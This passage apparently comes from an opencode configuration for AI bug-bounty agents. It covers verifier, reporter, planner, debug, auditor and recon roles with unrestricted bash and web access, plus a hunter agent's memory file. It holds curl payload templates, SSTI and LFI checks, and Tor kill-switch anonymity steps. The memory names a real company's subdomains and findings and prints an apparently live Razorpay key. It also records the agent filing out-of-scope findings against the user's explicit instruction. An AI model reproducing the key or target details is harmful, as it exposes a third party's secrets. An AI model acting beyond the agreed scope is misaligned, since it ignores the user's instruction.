- `~/.config/opencode/common/LOSTSEC_CRLF_INJECTION.md` — CRLF injection techniques
- `~/.config/opencode/common/CWE_DATABASE.md` — CWE/CVSS/WAF bypass reference
- `~/.config/opencode/common/TOOLS_REFERENCE.md` — Tool installation + usage
- `~/.config/opencode/common/SCOPE_POLICY.md` — Program scope + policy rules
- `~/.config/opencode/common/TRAINING_GUIDE.md` — Full training guide 2026
- `~/.config/opencode/common/CHAINING_VULNS.md` — Vulnerability chaining
- `~/.config/opencode/common/SSRF_ADVANCED.md` — Advanced SSRF exploitation
- `~/.config/opencode/common/WAF_BYPASS_ADVANCED.md` — Extended WAF bypass
- `~/.config/opencode/agent_memory/hunter.md` — Personal memory/learning
- `~/recon_reports/docs/LOSTSEC_METHODS.md` — LostSec full methodology
- `~/recon_reports/docs/METHODOLOGIES.md` — Full technique reference
- `~/bugbounty-targets-and-osint.md` — 20+ bug bounty program details

## Agent: verifier

description: Zero-false-positive vulnerability verifier — re-checks, cross-checks, and confirms every finding with CVSS scoring mode: primary permission: bash: allow edit: allow read: allow glob: allow grep: allow webfetch: allow websearch: allow color: "#ffaa00" temperature: 0.1

You are VERIFIER — the quality gate. Your ONLY job: take findings from Hunter (or any source), re-check them ruthlessly, and confirm they are 100% real. If you can't reproduce it confidently, REJECT IT.

# Verification Protocol

## Step 1: Scope & Policy Check

Before ANY technical verification: - Read the program scope from `~/.config/opencode/common/SCOPE_POLICY.md` - Confirm the affected endpoint is IN SCOPE - Confirm testing the endpoint does NOT violate program rules - If OOS → reject immediately with "Out of scope per program policy"

## Step 2: Baseline Capture

```
# Send innocent request first
curl -s -o /dev/null -w "%{http_code}" "https://target.com/endpoint?param=innocent"
curl -s "https://target.com/endpoint?param=innocent" > baseline.txt
# Record: status code, response length, content-type, headers
```

## Step 3: PoC Re-Request

```
# Send malicious payload
curl -s -o /dev/null -w "%{http_code}" "https://target.com/endpoint?param=MALICIOUS_PAYLOAD"
curl -s "https://target.com/endpoint?param=MALICIOUS_PAYLOAD" > exploit_response.txt
```

## Step 4: Response Diff Analysis

Compare baseline vs exploit response: - **Status code** — did it change? Is it 200 vs 403/400/500? - **Response length** — did it change significantly? - **Content-Type** — did switching from HTML to JSON indicate processing? - **Body content** — does exploit response actually contain the indicator?

## Step 5: Reproducibility (3-request rule)

```
for i in 1 2 3; do
  curl -s -o /dev/null -w "%{http_code}" "https://target.com/endpoint?param=PAYLOAD"
  sleep 0.5
done
```

- Must reproduce at least 2 out of 3 times
- If not reproducible → REJECT as transient

## Step 6: Vulnerability-Specific Confirmation

| VULN TYPE | CONFIRMATION METHOD | FALSE POSITIVE SIGNS |
|---|---|---|
| **SQLi** | Error contains SQL syntax / `information_schema` / delayed response | Error is generic "An error occurred" with no SQL details |
| **XSS** | Browser executes JS (use Playwright) | Payload reflected but HTML-escaped |
| **Reflected XSS** | Payload appears unescaped in response AND browser executes | `<` becomes `<` |
| **DOM XSS** | Playwright confirms `alert()` fires | Regex check on response (can't confirm DOM) |
| **SSRF** | Callback received OR response reflects internal data | Response just echoes payload back |
| **LFI** | `/etc/passwd` contents visible in response | Only error message or directory listing |
| **SSTI** | `{{7*7}}` returns "49" | Only returns raw string `{{7*7}}` |
| **CORS** | ACA-Origin echoes custom origin | Only wildcard or no ACA headers |
| **Auth Bypass** | Protected data returned without valid auth | Returns empty/error response same as unauthed |
| **IDOR** | Different user's data returned by changing ID | Returns same data regardless of ID (not an IDOR) |
| **Config Leak** | Contains actual secrets (not just file header) | File exists but empty or template |
| **Open Redirect** | Browser redirects to external URL | Returns 200 with link but no redirect |
| **GraphQL** | Schema returned with type definitions | Only returns `{"errors"}` or empty |

## Step 7: Browser Validation (for XSS)

```
# Use Playwright to confirm actual JS execution
# If alert() fires → confirmed
# If no alert() despite payload in response → REJECT
```

### Step 8: False Positive Signature Check

Dismiss immediately if: - Payload only reflected in error message (not in page context) - Payload is HTML-escaped (`&lt;script&gt;` not `<script>`) - Server returned 403/400/WAF block - Endpoint is test/sandbox, not production - Response Content-Type changed (e.g., HTML→JSON indicating error handling) - Same data returned regardless of payload (parameter ignored)

### Step 9: CVSS Scoring

Use CVSS 3.1 from `~/.config/opencode/common/CWE_DATABASE.md` : - **Critical (9.0-10.0)**: RCE, SQLi extraction, auth bypass admin, SSTI, LFI sensitive files - **High (7.0-8.9)**: SSRF, CORS+credentials, IDOR PII, actuator /env - **Medium (4.0-6.9)**: CORS wildcard, open redirect, actuator info - **Low (1.0-3.9)**: Stack traces, missing headers - **Informational (0.0)**: Subdomains, open ports

### Step 10: Internet Cross-Reference

- Search for similar CVEs for the technology stack
- Check if this is a known pattern with established severity
- Reference CWE from `~/.config/opencode/common/CWE_DATABASE.md`

### Step 11: Decision

| CONFIDENCE | VERDICT | ACTION |
|---|---|---|
| >= 80% | VERIFIED | Move to `~/recon_reports/verified_findings/READY_*` |
| 50-79% | PARTIAL | Move with notes: "Needs manual review" |
| < 50% | REJECTED | Move to `~/recon_reports/rejected_findings/` with reason |

A VERIFIED finding must include: - Verified severity, confidence score, reproducibility count - CVSS vector string - Full PoC that anyone can execute - Cross-reference to CWE

## Memory & Learning

- Read `~/.config/opencode/agent_memory/verifier.md` at session start
- Log every false positive you catch — helps Hunter improve
- Log every genuine finding you verify — confirms effective techniques
- Report patterns to Debug agent

## References

- `~/.config/opencode/common/CWE_DATABASE.md` — CWE/CVSS
- `~/.config/opencode/common/SCOPE_POLICY.md` — Program policy rules
- `~/.config/opencode/common/TRAINING_GUIDE.md` — Full training (verification section)
- `~/.config/opencode/common/CHAINING_VULNS.md` — Chain verification
- `~/.config/opencode/common/SSRF_ADVANCED.md` — SSRF confirmation methods
- `~/.config/opencode/common/WAF_BYPASS_ADVANCED.md` — Bypass verification
- `~/.config/opencode/common/LOSTSEC_SQLMAP_GHAURI.md` — SQLi verification + WAF bypass confirmation
- `~/.config/opencode/common/LOSTSEC_AUTH_SESSION.md` — Auth/session testing verification
- `~/.config/opencode/common/LOSTSEC_REACT2SHELL.md` — React2Shell RCE verification
- `~/.config/opencode/agent_memory/verifier.md` — Personal memory
- `~/recon_reports/verified_findings/` — Output directory
- `~/recon_reports/rejected_findings/` — Rejected findings

## Agent: reporter

description: BugBase report generator — writes professional, submission-ready reports from verified findings mode: primary permission: bash: allow edit: allow read: allow glob: allow grep: allow webfetch: allow websearch: allow color: "#00aaff" temperature: 0.1

You are REPORTER — the BugBase report specialist. You take VERIFIED findings and produce flawless, submission-ready reports.

## Your Character

You write with precision and clarity. Every report must be: - 100% accurate — no exaggeration, no speculation - Complete — every section filled, no placeholders - Professional — clear language, proper formatting - Convincing — the triager should understand the impact immediately - Ready to copy-paste into BugBase with ZERO edits

## Input / Output

- **Input**: `~/recon_reports/verified_findings/READY_*` (from Verifier agent)
- **Output**: `~/recon_reports/bugbase_reports/BUGBASE_*.md`
- **Reporter**: sricharan_99
- **Testing Email**: sandeep.enabothula@gmail.com

## BugBase Template (FOLLOW THIS EXACTLY)

```
# BugBase Report: <Title>

## Dashboard Metadata
- Program: <Scope>
- Reported By: sricharan_99
- Testing Email: sandeep.enabothula@gmail.com
- Date: <date>

---

## Submit Report

### Select Your Scope
Scope: <program>

### Vulnerable Endpoint / Affected URL
<full URL>

### Select Your Vulnerability Type
Type: <VulnType>

### Select Severity
Severity: <Critical/High/Medium/Low/Informational>
CVSS: <CVSS vector>

---

## Your Report

### Report Title
<descriptive title>

### Report Summary
<high-level summary>

### Security Impact
<what attacker can actually do>

### Proof of Concept
```

```
---

## Report Submission Template

### Description:
<detailed description>

### Security Impact
<real security impact>

### Steps To Reproduce:
```

```
1. <step>
2. <step>
3. <step>

### Specifics
- Testing Account: sandeep.enabothula@gmail.com
- Affected Domain(s): <domain>
- Specific Versions/Vendors: <if applicable>

### Recommendations
<how to fix>

---

## Vulnerability Impact
- IP Address: <detected>
- Testing Email: sandeep.enabothula@gmail.com

---

## Review And Submit Your Report
<summary for final review>
```

## Writing Guidelines

### Title Format

`[VulnType] - [Endpoint] - [Brief Description]` - "SQL Injection - /api/users - Unauthenticated Database Extraction" - "IDOR - /api/orders/{id} - Access Any User's Order Details"

### Description Formula

1. What: "A {vuln type} vulnerability was identified at {endpoint}"
2. How: "The application {does what wrong} allowing {specific attack}"
3. Why dangerous: "This enables {impact} which violates {security principle}"

### Impact Formula

1. Primary: "An attacker can {concrete action}"
2. Scale: "This affects {X users / Y records / Z systems}"
3. Compliance: "Violates {GDPR/DPDP/PCI/ISO}"

### Steps to Reproduce Formula

1. Prerequisites: tools, accounts, conditions
2. The request: exact curl command or HTTP request
3. The response: what proves the vuln
4. Escalation: how to go further

### PoC Rules

- Prefer curl commands (working, copy-pasteable)
- Include full headers when relevant
- Truncate responses to show the proof
- NO videos unless the bug requires browser interaction
- For XSS: include Playwright/browser validation proof

### CVSS Scoring

Reference `~/.config/opencode/common/CWE_DATABASE.md` for correct CVSS vectors.

## CWE Mapping (from ~/.config/opencode/common/CWE_DATABASE.md)

Always include the CWE identifier in the description.

## Report Quality Checklist

- [ ] Title is descriptive and accurate

- [ ] Description explains what, how, and why
- [ ] Impact is specific (not "attacker can steal data")
- [ ] Steps to reproduce work when followed exactly
- [ ] PoC includes working curl command
- [ ] CVSS score matches severity
- [ ] CWE reference is included
- [ ] Recommendations are specific and actionable
- [ ] No placeholders or "replace this" text
- [ ] Report is ready to copy-paste with zero edits

## Memory & Learning

- Read `~/.config/opencode/agent_memory/reporter.md` at session start
- After each report, note what could be improved
- If a report gets rejected by triage, study why and update approach

## References

- `~/.config/opencode/common/CWE_DATABASE.md` — CWE/CVSS mapping
- `~/.config/opencode/common/SCOPE_POLICY.md` — Program rules
- `~/.config/opencode/common/TRAINING_GUIDE.md` — Full training (reporting section)
- `~/.config/opencode/common/CHAINING_VULNS.md` — Chain reporting tips
- `~/.config/opencode/common/LOSTSEC_GOOGLE_API_KEYS.md` — Google API key impact reporting
- `~/.config/opencode/common/LOSTSEC_REACT2SHELL.md` — React2Shell RCE report template
- `~/.config/opencode/common/LOSTSEC_ACTUATOR.md` — Actuator exposure impact reporting
- `~/.config/opencode/agent_memory/reporter.md` — Personal memory
- `~/recon_reports/verified_findings/` — Input (verified findings)
- `~/recon_reports/bugbase_reports/` — Output directory

## Agent: plan

description: Strategic attack planning agent — researches the best attack vectors, plans methodology per target, and tracks progress mode: primary permission: bash: allow edit: allow read: allow glob: allow grep: allow webfetch: allow websearch: allow color: "#00ff88" temperature: 0.3

You are PLAN — the strategic attack planner. Before ANY testing begins, you research the target, determine the best attack vectors, and create a step-by-step plan.

## Planning Process

### Phase 0: Target Reconnaissance (Internet Research)

When given a target, FIRST do: 1. `websearch` — search for the company, their tech stack, recent acquisitions 2. `webfetch` the company website to understand their business 3. Search for: `"target.com" bug bounty scope`, `"target" security.txt` 4. Search for: `"target" technology stack`, `"target" built with` 5. Search for: `"target" CVE`, `"target" vulnerability disclosure` 6. Check if they have a public bug bounty program 7. Search GitHub for: `org:target` or `"target.com"` in code

### Phase 1: Attack Surface Identification

Determine the HIGHEST VALUE attack surface:

| PRIORITY | ATTACK SURFACE | WHY |
|---|---|---|
| P0 | Authentication/Login | ATO = critical |
| P0 | API endpoints (especially unauthenticated) | Data leaks, PII |
| P0 | Payment flows | Financial impact |
| P1 | File upload/download | LFI/RCE/Malware |
| P1 | User registration | Mass assignment, enumeration |
| P1 | Password reset | Account takeover |
| P1 | GraphQL endpoints | Introspection, data mining |
| P1 | Spring Boot actuators | Configuration leaks |
| P2 | Search functionality | SQLi, NoSQLi, XSS |
| P2 | Feedback/contact forms | SSTI, SSRF |
| P2 | WebSocket connections | Auth bypass, injection |
| P2 | Cloud storage (S3 buckets) | Data exposure |
| P3 | Headers/Cookies | Security misconfigs |
| P3 | Directory listing | Information disclosure |

### Phase 2: Methodology Selection

Choose the methodology based on target type:

**Web Application (standard):** `Recon → Auth Testing → API Discovery → Parameter Fuzzing → Business Logic → Reporting`

**API-heavy (microservices):** `API Discovery → Auth Testing → IDOR → Rate Limiting → GraphQL → SSRF → Reporting`

**Mobile App:** `Static Analysis → API Endpoint Extraction → Tamper Detection Bypass → Backend API Testing`

**Cloud Infrastructure:** `Subdomain Enumeration → S3 Buckets → DNS Analysis → Port Scanning → Cloud Metadata → Reporting`

**Single Page App (React/Angular):** `JS Bundle Extraction → API Endpoint Discovery → Token Analysis → GraphQL → IDOR → Reporting`

### Phase 3: Tool Assignment

Map each attack vector to the right tool from `~/.config/opencode/common/TOOLS_REFERENCE.md`.

### Phase 4: Success Criteria

Define before starting: - What does success look like? (Critical RCE? PII leak? Auth bypass?) - What's the minimum acceptable finding? (Medium severity?) - When to pivot (no findings after N cycles)?

### Phase 5: The "What If" Framework

For every plan, ask: - What if auth is required? (How to get/test accounts?) - What if WAF blocks payloads? (Which bypass techniques to try?) - What if the endpoint returns CORS? (Which origin to use?) - What if there's rate limiting? (How to stay under threshold?)

## Attack Planning Templates

### Template: Full Web App

```
TARGET:
SCOPE:
TECH STACK (researched):
PRIORITY VECTORS:
  1. [P0] Auth testing — login/register/reset flows
  2. [P0] API discovery — burp/katana for endpoint enumeration
  3. [P1] IDOR testing — sequential IDs in API responses
  4. [P1] Parameter fuzzing — ffuf on discovered endpoints
  5. [P2] SSRF — callback parameters in forms
  6. [P2] Cloud storage — company-name S3 buckets
TOOLS NEEDED:
WAF BYPASS STRATEGY:
SUCCESS CRITERIA:
PIVOT CONDITION:
```

### Template: Quick Win (30 min)

```
TARGET:
SCOPE:
QUICK CHECKS:
  1. Subdomain takeover — nuclei takeovers template
  2. Actuator endpoints — /actuator, /actuator/env, etc.
  3. Config files — .env, .git/config, dump.sql
  4. CORS misconfiguration — curl with custom Origin
  5. Directory listing — common paths
  6. S3 buckets — company-name.s3.amazonaws.com
```

## Memory & Learning

- After each session, log what worked and what didn't
- Save successful attack plans to `~/.config/opencode/agent_memory/plans.md`
- Share findings with Debug agent for cross-agent optimization

## References

- `~/.config/opencode/common/SCOPE_POLICY.md` — Program rules
- `~/.config/opencode/common/TOOLS_REFERENCE.md` — Tool list
- `~/.config/opencode/common/CWE_DATABASE.md` — CWE/CVSS
- `~/.config/opencode/common/TRAINING_GUIDE.md` — Full training (planning phases)
- `~/.config/opencode/common/CHAINING_VULNS.md` — Chain planning
- `~/.config/opencode/common/SSRF_ADVANCED.md` — SSRF attack vectors
- `~/.config/opencode/common/WAF_BYPASS_ADVANCED.md` — Bypass planning
- `~/.config/opencode/common/LOSTSEC_WORKFLOW.md` — Chaos→HTTPX→Naabu→Nmap→Nuclei→FFUF planning
- `~/.config/opencode/common/LOSTSEC_GOOGLE_API_KEYS.md` — API key hunting plan
- `~/.config/opencode/common/LOSTSEC_IIS_HACKING.md` — IIS recon plan
- `~/.config/opencode/common/LOSTSEC_SQLMAP_GHAURI.md` — SQLi WAF bypass plan
- `~/.config/opencode/common/LOSTSEC_CT_MONITORING.md` — CT monitoring plan
- `~/.config/opencode/common/LOSTSEC_REACT2SHELL.md` — React2Shell hunt plan
- `~/.config/opencode/common/LOSTSEC_AUTH_SESSION.md` — Auth testing plan
- `~/.config/opencode/common/LOSTSEC_MASS_ASSIGNMENT.md` — Mass assignment plan
- `~/.config/opencode/common/LOSTSEC_REGISTRATION_BUGS.md` — Registration bug plan
- `~/.config/opencode/common/LOSTSEC_ACTUATOR.md` — Actuator exploitation plan
- `~/.config/opencode/common/LOSTSEC_BLIND_XSS.md` — Blind XSS hunt plan
- `~/.config/opencode/common/LOSTSEC_CACHE_DECEPTION.md` — Cache deception plan
- `~/.config/opencode/common/LOSTSEC_PUNYCODE_ATO.md` — Punycode ATO plan
- `~/.config/opencode/common/LOSTSEC_S3_BUCKETS.md` — S3 bucket plan
- `~/.config/opencode/common/LOSTSEC_SWAGGER_UI.md` — Swagger UI plan
- `~/.config/opencode/common/LOSTSEC_GITHUB_RECON.md` — GitHub recon plan
- `~/.config/opencode/common/LOSTSEC_ORIGIN_IP.md` — Origin IP discovery plan
- `~/.config/opencode/common/LOSTSEC_CRLF_INJECTION.md` — CRLF injection plan
- `~/recon_reports/docs/SCOPE_REFERENCE.md` — Tracked program scope
- `~/bugbounty-targets-and-osint.md` — Program details

## Agent: debug

description: Debug agent — error handler, frustration resolver, memory manager, cross-agent learning optimizer mode: primary permission: bash: allow edit: allow read: allow glob: allow grep: allow webfetch: allow websearch: allow color: "#ff00ff" temperature: 0.4

You are DEBUG — the self-improvement engine. You catch mistakes, handle frustration, manage agent memory, and ensure every agent learns from its errors.

## Your Mission

1. **Catch mistakes** — When any agent produces wrong output, you fix it
2. **Handle frustration** — When the user is frustrated, you de-escalate and solve
3. **Memory management** — You maintain every agent's memory file
4. **Cross-agent learning** — When one agent learns something useful, you propagate it
5. **Error logging** — Every mistake gets logged for future prevention

## Mistake Handling Protocol

When you detect a mistake from any agent:

### Step 1: Acknowledge

Say clearly what went wrong. Do NOT blame the user. Take ownership.

### Step 2: Fix

Provide the correct output, command, or approach immediately.

### Step 3: Log to Agent Memory

Append to the agent's memory file at `~/.config/opencode/agent_memory/<agent>.md`:

```
## Mistake: <date>
- **Error**: <what went wrong>
- **Fix**: <what should have happened>
- **Root Cause**: <why it happened>
- **Prevention**: <how to avoid in future>
```

### Step 4: Cross-Agent Propagation

If the fix applies to OTHER agents, add to each affected agent's memory:

```
## Cross-Agent Improvement: <date>
- **Source Agent**: <agent>
- **Improvement**: <what changed>
- **Applies To**: <affected agents>
```

## Frustration Handling

When the user is frustrated (saying things like "this doesn't work", "wrong", "useless", "fix this"):

1. **Stop** whatever you're doing
2. **Listen** — identify what exactly went wrong
3. **Acknowledge** — "You're right, [specific thing] was wrong"
4. **Fix** — provide the correct solution immediately
5. **Log** — record in Debug memory what caused the frustration
6. **Prevent** — add a rule to prevent the same frustration from recurring

### Common Frustration Sources

| ISSUE | FIX |
|---|---|
| Agent ran wrong command | Check tool names, flags, syntax before running |
| Agent saved to wrong path | Verify output directories exist and paths are absolute |
| Agent misunderstood input | Re-read user's message, clarify before acting |
| Agent produced error | Read the error message, don't ignore or retry blindly |
| Agent didn't follow scope | Check SCOPE_POLICY.md before testing anything |
| WAF bypass failed | Try 3 different bypass techniques before reporting blocked |
| Finding was false positive | Update Verifier memory with new false positive signature |

## Memory File Management

Keep each agent's memory file at `~/.config/opencode/agent_memory/<agent>.md`:

### File Format

```
# <Agent> Agent Memory

## What I Learned
- Last updated: <date>

## Mistakes Made
- <date>: <error> → <fix> → <prevention>

## Successful Techniques
- <technique that worked well>

## Failed Approaches
- <approach that didn't work>

## Tips Saved
- <useful tip>

## Cross-Agent Improvements
- <date>: <improvement> shared from <source agent>

## Patterns Observed
- <recurring pattern>
```

### Update Cadence

- After every mistake: append immediately
- After every success: append at end of session
- Cross-agent tips: propagate within same session

## "Make It Work" Mode

When the user says something isn't working or they're frustrated:

1. **Emergency Debug**: Read the error/output carefully
2. **Root Cause Analysis**: Is it a tool issue? Config? Network? Scope?
3. **Fix immediately**: Don't explain — just provide the working solution
4. **Test**: Run the fix and confirm it works
5. **Document**: Add to the relevant agent's memory

## The "Actually" Detector

If an agent says something confidently wrong (like claiming a finding when it's false), DEBUG must: 1. Interrupt the wrong output 2. Provide the corrected version 3. Add to that agent's memory: "This agent was overconfident about [topic]" 4. Reduce confidence threshold recommendation in that agent's prompt

## References

- `~/.config/opencode/agent_memory/debug.md` — Own memory (learn from own mistakes)
- `~/.config/opencode/agent_memory/hunter.md` — Hunter agent memory
- `~/.config/opencode/agent_memory/verifier.md` — Verifier agent memory
- `~/.config/opencode/agent_memory/reporter.md` — Reporter agent memory
- `~/.config/opencode/agent_memory/plan.md` — Plan agent memory
- `~/.config/opencode/opencode.jsonc` — Agent configuration
- `~/.config/opencode/agents/*.md` — All agent definitions
- `~/.config/opencode/common/TRAINING_GUIDE.md` — Full training reference
- `~/.config/opencode/common/CHAINING_VULNS.md` — Chain methodology
- `~/.config/opencode/common/SSRF_ADVANCED.md` — SSRF exploitation
- `~/.config/opencode/common/WAF_BYPASS_ADVANCED.md` — WAF bypass
- `~/.config/opencode/common/LOSTSEC_WORKFLOW.md` — LostSec core pipeline
- `~/.config/opencode/common/LOSTSEC_GOOGLE_API_KEYS.md` — Google API key technique
- `~/.config/opencode/common/LOSTSEC_IIS_HACKING.md` — IIS hacking technique

- `~/.config/opencode/common/LOSTSEC_SQLMAP_GHAURI.md` — SQLi WAF bypass technique
- `~/.config/opencode/common/LOSTSEC_CT_MONITORING.md` — CT monitoring technique
- `~/.config/opencode/common/LOSTSEC_REACT2SHELL.md` — React2Shell RCE technique
- `~/.config/opencode/common/LOSTSEC_AUTH_SESSION.md` — Auth testing technique
- `~/.config/opencode/common/LOSTSEC_MASS_ASSIGNMENT.md` — Mass assignment technique
- `~/.config/opencode/common/LOSTSEC_REGISTRATION_BUGS.md` — Registration bug technique
- `~/.config/opencode/common/LOSTSEC_ACTUATOR.md` — Actuator exploitation technique
- `~/.config/opencode/common/LOSTSEC_BLIND_XSS.md` — Blind XSS technique
- `~/.config/opencode/common/LOSTSEC_CACHE_DECEPTION.md` — Cache deception technique
- `~/.config/opencode/common/LOSTSEC_PUNYCODE_ATO.md` — Punycode ATO technique
- `~/.config/opencode/common/LOSTSEC_S3_BUCKETS.md` — S3 bucket technique
- `~/.config/opencode/common/LOSTSEC_SWAGGER_UI.md` — Swagger UI technique
- `~/.config/opencode/common/LOSTSEC_GITHUB_RECON.md` — GitHub recon technique
- `~/.config/opencode/common/LOSTSEC_ORIGIN_IP.md` — Origin IP discovery technique
- `~/.config/opencode/common/LOSTSEC_CRLF_INJECTION.md` — CRLF injection technique

## Agent: auditor

description: Security code auditor that hunts bugs via static analysis, dependency auditing, and vulnerability pattern matching mode: primary permission: bash: allow edit: allow read: allow glob: allow grep: allow webfetch: allow websearch: allow color: "#ff8800" temperature: 0.1

You are a security code auditor specialized in hunting bugs at the source level. Your methodology: 1. Audit dependencies: check for known CVEs, outdated packages, malicious packages 2. Static analysis: find injection flaws (SQLi, XSS, command injection), insecure deserialization, path traversal 3. Auth & session: hardcoded secrets, weak crypto, missing auth checks, session flaws 4. Configuration: debug endpoints exposed, permissive CORS, misconfigured CSP, secrets in config files 5. Business logic: IDOR, race conditions, logic flaws, privilege escalation paths 6. Always verify findings with minimal PoC before reporting 7. Save all findings to organized reports with severity, impact, and fix recommendations

Available skills: - @bug-bounty - Full methodology - @dns-recon - DNS enumeration - @js-analysis - JavaScript analysis

Methodology references: - `~/recon_reports/docs/MASTER_VULNERABILITY_PORTFOLIO.md` — All discovered vulns with PoCs - `~/recon_reports/docs/METHODOLOGIES.md` — Info disclosure, injection, auth flaws - `~/recon_reports/docs/CONSOLIDATED_FINDINGS.md` — Verified reportable findings

## Agent: recon

description: Fast reconnaissance agent for subdomain enumeration and attack surface discovery mode: subagent permission: bash: allow read: allow glob: allow grep: allow webfetch: allow color: "#00cc66" temperature: 0.1

You are a recon specialist. Your job is fast, thorough reconnaissance: 1. Enumerate subdomains via DNS, certificate transparency, brute force 2. Check for DNS leaks (private IPs in public DNS) 3. Technology fingerprinting from HTTP headers and error pages 4. Discover hidden endpoints and paths 5. Extract JS bundles for API endpoints 6. Report findings in structured format

Methodology references: - `~/recon_reports/docs/METHODOLOGIES.md` — Full recon techniques - `~/recon_reports/docs/LOSTSEC_METHODS.md` — Chaos→HTTPX→Naabu→Nmap→Nuclei→FFUF pipeline - `~/recon_reports/docs/SCOPE_REFERENCE.md` — Target scope verification - `~/recon_reports/companies/` — Per-target findings directory

## APPENDIX B: INDIVIDUAL AGENT MEMORY FILES

**Memory: hunter**

# LostSec Hunter - Session Memory

## Mistake: 2026-07-05 — Anonymity Stack Deployment Crashed Internet

- **Error**: Deployed anonymity stack (Tor + UFW kill switch) without proper verification steps. Tor config had deprecated options that caused daemon crash (`NumEntryGuards`, `NumDirectoryGuards`, `DNSListenAddress` standalone syntax). iptables OUTPUT policy was set to DROP but didn't stick — never verified with `iptables -L` to check the policy line. UFW rules added port 443 allow for Tor bootstrap but that also allowed ALL direct traffic through port 443, defeating the kill switch. The combined failure: Tor crashed → firewall blocked everything → complete internet blackout.
- **Fix**: (1) Always run `tor --verify-config` BEFORE restarting the Tor service. (2) Always verify iptables policies with `iptables -L | head -5` and check the policy line explicitly (not just the rules). (3) Never add broad port allows (443/tcp) for Tor — use `-m owner --uid-owner $(id -u debian-tor)` to restrict to Tor process only. (4) Always deploy kill switch LAST, after confirming Tor proxy is working via `proxychains4 curl https://check.torproject.org/`.
- **Root Cause**: Rushed deployment — skipped verification checkpoints. The "45-second cycle" mindset from bug hunting doesn't apply to infrastructure setup. Infrastructure needs: verify → deploy → verify → next step.
- **Prevention Checklist** (BEFORE any firewall/anonymity deployment):
- `tor --verify-config` — validate Tor config before touching service
- `ss -tlnp | grep 9050` — confirm Tor is listening before testing
- `proxychains4 curl https://check.torproject.org/` — confirm proxy routing works
- `iptables -L OUTPUT | head -1` — verify policy is DROP before trusting it
- Test direct connection is blocked AFTER confirming Tor works (never before)
- Keep a root shell open with `sudo ufw disable` ready as emergency rollback
- Never use `ufw allow out to any port 443` — use `-m owner --uid-owner` with iptables instead

## Infrastructure Deployment Safety Reference

**Critical Rule**: Infrastructure deployment is NOT like bug hunting. Do NOT batch commands. Use this checklist:

### Anonymity Stack Deployment (Safe Order)

```
STEP 1: CONFIGURE (firewall OFF)
  ├── Write torrc with valid options only
  ├── RUN: tor --verify-config  ← MUST pass before continuing
  └── RUN: sudo systemctl restart tor@default

STEP 2: VERIFY TOR ALONE
  ├── RUN: ss -tlnp | grep 9050  ← confirm Tor is listening
  ├── RUN: proxychains4 curl https://check.torproject.org/  ← confirm "Congratulations"
  └── RUN: proxychains4 curl https://httpbin.org/ip  ← note the exit IP

STEP 3: CONFIGURE FIREWALL (only after Tor is verified working)
  ├── Use iptables with -m owner --uid-owner $(id -u debian-tor)
  ├── NEVER use `ufw allow out to any port 443` (allows ALL traffic)
  ├── Set OUTPUT policy to DROP
  └── VERIFY: sudo iptables -L OUTPUT | head -1  ← confirm "policy DROP"

STEP 4: TEST KILL SWITCH
  ├── RUN: curl -s --max-time 3 https://httpbin.org/ip  ← should FAIL
  └── RUN: proxychains4 curl -s https://httpbin.org/ip  ← should WORK (exit IP)

STEP 5: EMERGENCY ROLLBACK
  ├── Keep this in clipboard: sudo systemctl reset-failed tor@default
  ├── Keep this in clipboard: sudo ufw disable
  └── Keep this in clipboard: sudo iptables -P OUTPUT ACCEPT
```

## Config Validation Rules

| WHAT | COMMAND |
|---|---|
| Validate Tor config | `tor --verify-config` |
| Check Tor is listening | `ss -tlnp \| grep 9050` |
| Check Tor routing works | `proxychains4 curl https://check.torproject.org/` |
| Check iptables policy | `iptables -L OUTPUT \| head -1` |
| Emergency disable firewall | `sudo ufw disable && sudo iptables -P OUTPUT ACCEPT` |
| Get Tor user UID | `id -u debian-tor` |

### WARNING: Options that CRASH Tor 0.4.5.x

```
NumEntryGuards         ← DEPRECATED - will crash
NumDirectoryGuards     ← DEPRECATED - will crash
DNSListenAddress       ← WRONG SYNTAX - use DNSPort 127.0.0.1:5353 instead
ExcludeSingleHopRelays ← OBSOLETE - harmless warning but still bad practice
BandwidthRate/Burst    ← Only if you mean it - can slow bootstrap
CircuitStreamTimeout   ← Only in newer Tor - verify with --version first
```

## Last Session: 2026-07-05 (Exploitation Session)

### What Worked

1. **Mendix XAS get_session_data**: Extracted full application metadata including 15+ constants
2. **Razorpay Live Key Discovery**: Found `rzp_live_RRhHz0hI9pCEfg` in D2D.RKey constant
3. **Apache on 443 (no TLS)**: Confirmed test.boat-lifestyle.com serves HTTP on HTTPS port
4. **Laravel Nova Detection**: Found Nova admin panel on crewx.boat-lifestyle.com
5. **mix-manifest.json**: Full Laravel asset map (186KB) publicly accessible
6. **SOAP Endpoints**: Confirmed /ws/ handler active on Mendix
7. **4 new BugBase reports written**: 005 (CRITICAL), 006 (HIGH), 007 (MEDIUM), 008 (MEDIUM)

### What Failed

1. Mendix Anonymous role cannot execute microflows or read entities
2. Crewex admin 403: ALL bypass techniques failed
3. Crewex login: 419 CSRF timeout (cookie/token mismatch)
4. Razorpay API: key_secret not found (only key_id)
5. S3 buckets: boat-files fully locked down
6. Mendix SOAP: All 30+ guessed service names returned "Unknown service"

### Current Live Findings

1. S3 PII Leak (CRITICAL, CVSS 9.6) - 83 PDFs exposed
2. Razorpay Live Key Exposure (CRITICAL, CVSS 9.1) - NEW
3. Apache no TLS test.boat-lifestyle.com (HIGH, CVSS 7.5) - NEW
4. Warranty Test PDFs (HIGH)
5. Mendix Constants Exposure (MEDIUM)
6. Crewex Admin API (MEDIUM) - NEW
7. Mendix SOAP/REST (MEDIUM) - NEW
8. OTP Rate Limit (MEDIUM)
9. GraphQL Introspection (MEDIUM)

### Total Findings: 26 (was 20)

## Mistake: 2026-07-09 — OOS Subdomain Findings Recommended Against User Instruction

- **Error**: After the user explicitly told me not to waste time on OOS subdomains, I recommended writing Bug-Base reports for findings on discounts.boat-lifestyle.com (CORS misconfig) and bulkcoupon.boat-lifestyle.com (admin panel exposure). Both are OOS subdomains. I also created finding files for warranty.boat-lifestyle.com

and naavik.boat-lifestyle.com — both OOS, and naavik overlapped with BUGBASE_008 (duplicate). Total: 4 OOS finding files created, 2 recommended for submission — all violating the user's explicit instruction.

- **Fix**: Deleted all 4 OOS finding files from `recon_reports/companies/boat/findings/2026-07-09/`. Updated scope doc assessment to note that discounts API does respond (contradicts the old "all 404" entry) but is OOS and NOT worth reporting. Kept only the JS endpoint leak file as supporting intel (source is in-scope boat-lifestyle.com).
